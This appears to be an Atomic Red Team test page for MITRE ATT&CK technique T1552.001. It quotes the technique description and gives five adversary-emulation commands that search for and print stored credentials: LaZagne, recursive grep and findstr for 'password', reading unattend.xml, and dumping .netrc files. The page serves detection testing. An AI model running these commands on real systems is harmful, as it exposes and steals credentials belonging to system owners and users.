# T1552.001 - Credentials In Files
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1552/001)
<blockquote>Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)</blockquote>

## Atomic Tests

- [Atomic Test #1 - Extract Browser and System credentials with LaZagne](#atomic-test-1---extract-browser-and-system-credentials-with-lazagne)

- [Atomic Test #2 - Extract passwords with grep](#atomic-test-2---extract-passwords-with-grep)

- [Atomic Test #3 - Extracting passwords with findstr](#atomic-test-3---extracting-passwords-with-findstr)

- [Atomic Test #4 - Access unattend.xml](#atomic-test-4---access-unattendxml)

- [Atomic Test #5 - Find and Access Github Credentials](#atomic-test-5---find-and-access-github-credentials)


<br/>

## Atomic Test #1 - Extract Browser and System credentials with LaZagne
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)

**Supported Platforms:** macOS


**auto_generated_guid:** 9e507bb8-1d30-4e3b-a49b-cb5727d7ea79






#### Attack Commands: Run with `bash`!  Elevation Required (e.g. root or admin) 


```bash
python2 laZagne.py all
```






<br/>
<br/>

## Atomic Test #2 - Extract passwords with grep
Extracting credentials from files

**Supported Platforms:** macOS, Linux


**auto_generated_guid:** bd4cf0d1-7646-474e-8610-78ccf5a097c4





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| file_path | Path to search | String | /|


#### Attack Commands: Run with `sh`! 


```sh
grep -ri password #{file_path}
```






<br/>
<br/>

## Atomic Test #3 - Extracting passwords with findstr
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.

**Supported Platforms:** Windows


**auto_generated_guid:** 0e56bf29-ff49-4ea5-9af4-3b81283fd513






#### Attack Commands: Run with `powershell`! 


```powershell
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -Pattern password
```






<br/>
<br/>

## Atomic Test #4 - Access unattend.xml
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.

**Supported Platforms:** Windows


**auto_generated_guid:** 367d4004-5fc0-446d-823f-960c74ae52c3






#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
```






<br/>
<br/>

## Atomic Test #5 - Find and Access Github Credentials
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.

**Supported Platforms:** macOS, Linux


**auto_generated_guid:** da4f751a-020b-40d7-b9ff-d433b7799803






#### Attack Commands: Run with `bash`! 


```bash
for file in $(find / -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
```






<br/>
